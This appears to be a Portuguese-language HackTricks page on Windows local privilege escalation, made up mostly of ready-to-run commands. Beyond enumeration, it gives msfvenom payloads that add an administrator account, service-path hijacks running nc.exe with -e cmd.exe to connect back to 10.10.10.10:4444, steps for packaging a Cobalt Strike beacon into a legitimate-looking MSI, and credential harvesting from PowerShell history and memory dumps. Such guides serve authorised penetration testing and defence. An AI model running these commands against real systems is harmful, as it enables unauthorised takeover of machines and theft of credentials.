Windows Local Privilege Escalation

Suporte ao HackTricks

Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Windows: WinPEAS

Teoria Inicial do Windows

Tokens de Acesso

Se você não sabe o que são Tokens de Acesso do Windows, leia a página a seguir antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Verifique a página a seguir para mais informações sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Níveis de Integridade

Se você não sabe o que são níveis de integridade no Windows, deve ler a página a seguir antes de continuar:

Integrity Levels

Controles de Segurança do Windows

Existem diferentes coisas no Windows que podem impedir você de enumerar o sistema, executar executáveis ou até mesmo detectar suas atividades. Você deve ler a página a seguir e enumerar todos esses mecanismos de defesa antes de iniciar a enumeração de escalonamento de privilégios:

Windows Security Controls

Informações do Sistema

Enumeração de informações da versão

Verifique se a versão do Windows possui alguma vulnerabilidade conhecida (verifique também os patches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits de Versão

Este site é útil para buscar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Este banco de dados possui mais de 4.700 vulnerabilidades de segurança, mostrando a superfície de ataque massiva que um ambiente Windows apresenta.

No sistema

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas tem watson embutido)

Localmente com informações do sistema

Repositórios do Github de exploits:

Ambiente

Alguma credencial/informação suculenta salva nas variáveis de ambiente?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Histórico do PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Arquivos de Transcrição do PowerShell

Você pode aprender como ativar isso em https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Os detalhes das execuções do pipeline do PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e resultados de saída podem não ser capturados.

Para habilitar isso, siga as instruções na seção "Transcript files" da documentação, optando por "Module Logging" em vez de "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para visualizar os últimos 15 eventos dos logs do PowersShell, você pode executar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Um registro completo de atividade e conteúdo total da execução do script é capturado, garantindo que cada bloco de código seja documentado à medida que é executado. Esse processo preserva um histórico de auditoria abrangente de cada atividade, valioso para forense e análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Os eventos de registro para o Script Block podem ser encontrados no Visualizador de Eventos do Windows no caminho: Application and Services Logs > Microsoft > Windows > PowerShell > Operational. Para visualizar os últimos 20 eventos, você pode usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configurações da Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Você pode comprometer o sistema se as atualizações não forem solicitadas usando httpS mas http.

Você começa verificando se a rede usa uma atualização WSUS não SSL executando o seguinte:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Se você receber uma resposta como:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer for igual a 1.

Então, é explorável. Se o último registro for igual a 0, então, a entrada do WSUS será ignorada.

Para explorar essas vulnerabilidades, você pode usar ferramentas como: Wsuxploit, pyWSUS - Esses são scripts de exploits armados MiTM para injetar atualizações 'falsas' no tráfego WSUS não SSL.

Leia a pesquisa aqui:

WSUS CVE-2020-1013

Leia o relatório completo aqui. Basicamente, esta é a falha que esse bug explora:

Se tivermos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar PyWSUS localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.

Além disso, uma vez que o serviço WSUS usa as configurações do usuário atual, ele também usará seu armazenamento de certificados. Se gerarmos um certificado autoassinado para o nome do host WSUS e adicionarmos esse certificado ao armazenamento de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego WSUS HTTP quanto HTTPS. O WSUS não usa mecanismos semelhantes ao HSTS para implementar uma validação de confiança na primeira utilização no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o nome do host correto, será aceito pelo serviço.

Você pode explorar essa vulnerabilidade usando a ferramenta WSUSpicious (uma vez que seja liberada).

KrbRelayUp

Uma vulnerabilidade de elevação de privilégio local existe em ambientes de domínio do Windows sob condições específicas. Essas condições incluem ambientes onde a assinatura LDAP não é aplicada, usuários possuem direitos próprios que permitem configurar Delegação Constrained Baseada em Recursos (RBCD), e a capacidade de usuários criarem computadores dentro do domínio. É importante notar que esses requisitos são atendidos usando configurações padrão.

Encontre o exploit em https://github.com/Dec0ne/KrbRelayUp

Para mais informações sobre o fluxo do ataque, confira https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Se esses 2 registros estiverem ativados (o valor é 0x1), então usuários de qualquer privilégio podem instalar (executar) arquivos *.msi como NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Payloads do Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se você tiver uma sessão meterpreter, pode automatizar essa técnica usando o módulo exploit/windows/local/always_install_elevated

PowerUP

Use o comando Write-UserAddMSI do power-up para criar dentro do diretório atual um binário MSI do Windows para escalar privilégios. Este script gera um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto, você precisará de acesso GIU):

Write-UserAddMSI

Apenas execute o binário criado para escalar privilégios.

MSI Wrapper

Leia este tutorial para aprender como criar um wrapper MSI usando estas ferramentas. Note que você pode envolver um ".bat" se você apenas quiser executar linhas de comando.

MSI Wrapper

Criar MSI com WIX

Create MSI with WIX

Criar MSI com Visual Studio

  • Gere com Cobalt Strike ou Metasploit um novo payload TCP EXE do Windows em C:\privesc\beacon.exe

  • Abra Visual Studio, selecione Criar um novo projeto e digite "instalador" na caixa de pesquisa. Selecione o projeto Setup Wizard e clique em Próximo.

  • Dê um nome ao projeto, como AlwaysPrivesc, use C:\privesc para o local, selecione colocar solução e projeto no mesmo diretório, e clique em Criar.

  • Continue clicando em Próximo até chegar ao passo 3 de 4 (escolher arquivos para incluir). Clique em Adicionar e selecione o payload Beacon que você acabou de gerar. Em seguida, clique em Concluir.

  • Destaque o projeto AlwaysPrivesc no Solution Explorer e nas Propriedades, mude TargetPlatform de x86 para x64.

  • Existem outras propriedades que você pode alterar, como o Autor e o Fabricante, que podem fazer o aplicativo instalado parecer mais legítimo.

  • Clique com o botão direito no projeto e selecione Visualizar > Ações Personalizadas.

  • Clique com o botão direito em Instalar e selecione Adicionar Ação Personalizada.

  • Clique duas vezes em Pasta do Aplicativo, selecione seu arquivo beacon.exe e clique em OK. Isso garantirá que o payload beacon seja executado assim que o instalador for executado.

  • Nas Propriedades da Ação Personalizada, mude Run64Bit para True.

  • Finalmente, construa-o.

  • Se o aviso File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' for exibido, certifique-se de definir a plataforma como x64.

Instalação do MSI

Para executar a instalação do arquivo malicioso .msi em background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explorar essa vulnerabilidade, você pode usar: exploit/windows/local/always_install_elevated

Antivirus e Detectores

Configurações de Auditoria

Essas configurações decidem o que está sendo registrado, então você deve prestar atenção

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

O Windows Event Forwarding é interessante para saber para onde os logs são enviados.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS é projetado para o gerenciamento de senhas de Administrador local, garantindo que cada senha seja única, aleatória e atualizada regularmente em computadores associados a um domínio. Essas senhas são armazenadas de forma segura no Active Directory e só podem ser acessadas por usuários que receberam permissões suficientes através de ACLs, permitindo que visualizem senhas de administrador local se autorizados.

LAPS

WDigest

Se ativo, senhas em texto simples são armazenadas no LSASS (Serviço de Subsystem de Autoridade de Segurança Local). Mais informações sobre WDigest nesta página.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Proteção LSA

A partir do Windows 8.1, a Microsoft introduziu uma proteção aprimorada para a Autoridade de Segurança Local (LSA) para bloquear tentativas de processos não confiáveis de ler sua memória ou injetar código, aumentando ainda mais a segurança do sistema. Mais informações sobre a Proteção LSA aqui.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard foi introduzido no Windows 10. Seu objetivo é proteger as credenciais armazenadas em um dispositivo contra ameaças como ataques pass-the-hash.| Mais informações sobre o Credentials Guard aqui.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Credenciais em Cache

Credenciais de domínio são autenticadas pela Autoridade de Segurança Local (LSA) e utilizadas por componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as credenciais de domínio para o usuário são tipicamente estabelecidas. Mais informações sobre Credenciais em Cache aqui.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuários e Grupos

Enumerar Usuários e Grupos

Você deve verificar se algum dos grupos aos quais pertence possui permissões interessantes.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Se você pertencer a algum grupo privilegiado, pode ser capaz de escalar privilégios. Aprenda sobre grupos privilegiados e como abusar deles para escalar privilégios aqui:

Privileged Groups

Manipulação de tokens

Saiba mais sobre o que é um token nesta página: Tokens do Windows. Confira a página a seguir para aprender sobre tokens interessantes e como abusar deles:

Abusing Tokens

Usuários logados / Sessões

qwinsta
klist sessions

Pastas pessoais

dir C:\Users
Get-ChildItem C:\Users

Política de Senhas

net accounts

Obter o conteúdo da área de transferência

powershell -command "Get-Clipboard"

Executando Processos

Permissões de Arquivo e Pasta

Primeiro de tudo, liste os processos verifique se há senhas dentro da linha de comando do processo. Verifique se você pode sobrescrever algum binário em execução ou se você tem permissões de gravação na pasta do binário para explorar possíveis ataques de DLL Hijacking:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Sempre verifique se há possíveis depuradores electron/cef/chromium em execução, você pode abusar disso para escalar privilégios.

Verificando permissões dos binários dos processos

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verificando as permissões das pastas dos binários dos processos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Mineração de Senhas na Memória

Você pode criar um despejo de memória de um processo em execução usando procdump do sysinternals. Serviços como FTP têm as credenciais em texto claro na memória, tente despejar a memória e ler as credenciais.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicativos GUI inseguros

Aplicativos executando como SYSTEM podem permitir que um usuário inicie um CMD ou navegue por diretórios.

Exemplo: "Ajuda e Suporte do Windows" (Windows + F1), pesquise por "prompt de comando", clique em "Clique para abrir o Prompt de Comando"

Serviços

Obtenha uma lista de serviços:

net start
wmic service list brief
sc query
Get-Service

Permissões

Você pode usar sc para obter informações de um serviço

sc qc <service_name>

É recomendável ter o binário accesschk do Sysinternals para verificar o nível de privilégio necessário para cada serviço.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

É recomendável verificar se "Usuários Autenticados" podem modificar algum serviço:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Você pode baixar accesschk.exe para XP aqui

Habilitar serviço

Se você estiver recebendo este erro (por exemplo, com SSDPSRV):

Erro do sistema 1058 ocorreu. O serviço não pode ser iniciado, seja porque está desativado ou porque não possui dispositivos habilitados associados a ele.

Você pode habilitá-lo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Leve em consideração que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)

Outra solução alternativa para este problema é executar:

sc.exe config usosvc start= auto

Modificar o caminho do binário do serviço

No cenário em que o grupo "Usuários autenticados" possui SERVICE_ALL_ACCESS em um serviço, a modificação do binário executável do serviço é possível. Para modificar e executar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar serviço

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Os privilégios podem ser escalados através de várias permissões:

  • SERVICE_CHANGE_CONFIG: Permite a reconfiguração do binário do serviço.

  • WRITE_DAC: Habilita a reconfiguração de permissões, levando à capacidade de alterar configurações de serviços.

  • WRITE_OWNER: Permite a aquisição de propriedade e reconfiguração de permissões.

  • GENERIC_WRITE: Herda a capacidade de alterar configurações de serviços.

  • GENERIC_ALL: Também herda a capacidade de alterar configurações de serviços.

Para a detecção e exploração dessa vulnerabilidade, o exploit/windows/local/service_permissions pode ser utilizado.

Permissões fracas dos binários de serviços

Verifique se você pode modificar o binário que é executado por um serviço ou se você tem permissões de escrita na pasta onde o binário está localizado (DLL Hijacking). Você pode obter todos os binários que são executados por um serviço usando wmic (não no system32) e verificar suas permissões usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Você também pode usar sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Modificar permissões do registro de serviços

Você deve verificar se pode modificar algum registro de serviço. Você pode verificar suas permissões sobre um registro de serviço fazendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Deve-se verificar se Authenticated Users ou NT AUTHORITY\INTERACTIVE possuem permissões de FullControl. Se sim, o binário executado pelo serviço pode ser alterado.

Para mudar o caminho do binário executado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permissões AppendData/AddSubdirectory do registro de serviços

Se você tiver essa permissão sobre um registro, isso significa que você pode criar sub-registros a partir deste. No caso de serviços do Windows, isso é suficiente para executar código arbitrário:

AppendData/AddSubdirectory permission over service registry

Caminhos de Serviço Não Entre Aspas

Se o caminho para um executável não estiver entre aspas, o Windows tentará executar tudo que terminar antes de um espaço.

Por exemplo, para o caminho C:\Program Files\Some Folder\Service.exe, o Windows tentará executar:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Liste todos os caminhos de serviço não entre aspas, excluindo aqueles que pertencem a serviços internos do Windows:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Você pode detectar e explorar essa vulnerabilidade com metasploit: exploit/windows/local/trusted\_service\_path Você pode criar manualmente um binário de serviço com metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Ações de Recuperação

O Windows permite que os usuários especifiquem ações a serem tomadas se um serviço falhar. Esse recurso pode ser configurado para apontar para um binário. Se esse binário for substituível, a escalada de privilégios pode ser possível. Mais detalhes podem ser encontrados na documentação oficial.

Aplicações

Aplicações Instaladas

Verifique as permissões dos binários (talvez você possa sobrescrever um e escalar privilégios) e das pastas (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permissões de Escrita

Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se você pode modificar algum binário que será executado por uma conta de Administrador (schedtasks).

Uma maneira de encontrar permissões fracas de pastas/arquivos no sistema é fazendo:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Execute na inicialização

Verifique se você pode sobrescrever algum registro ou binário que será executado por um usuário diferente. Leia a página seguinte para saber mais sobre locais interessantes de autorun para escalar privilégios:

Privilege Escalation with Autoruns

Drivers

Procure por possíveis drivers estranhos/vulneráveis de terceiros

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Se você tiver permissões de escrita dentro de uma pasta presente no PATH, poderá ser capaz de sequestrar uma DLL carregada por um processo e escalar privilégios.

Verifique as permissões de todas as pastas dentro do PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para mais informações sobre como abusar dessa verificação:

Writable Sys Path +Dll Hijacking Privesc

Rede

Compartilhamentos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifique se há outros computadores conhecidos codificados no arquivo hosts

type C:\Windows\System32\drivers\etc\hosts

Interfaces de Rede e DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Verifique os serviços restritos do lado de fora

netstat -ano #Opened ports?

Tabela de Roteamento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Regras de Firewall

Verifique esta página para comandos relacionados ao Firewall (listar regras, criar regras, desligar, desligar...)

Mais comandos para enumeração de rede aqui

Subsistema Windows para Linux (wsl)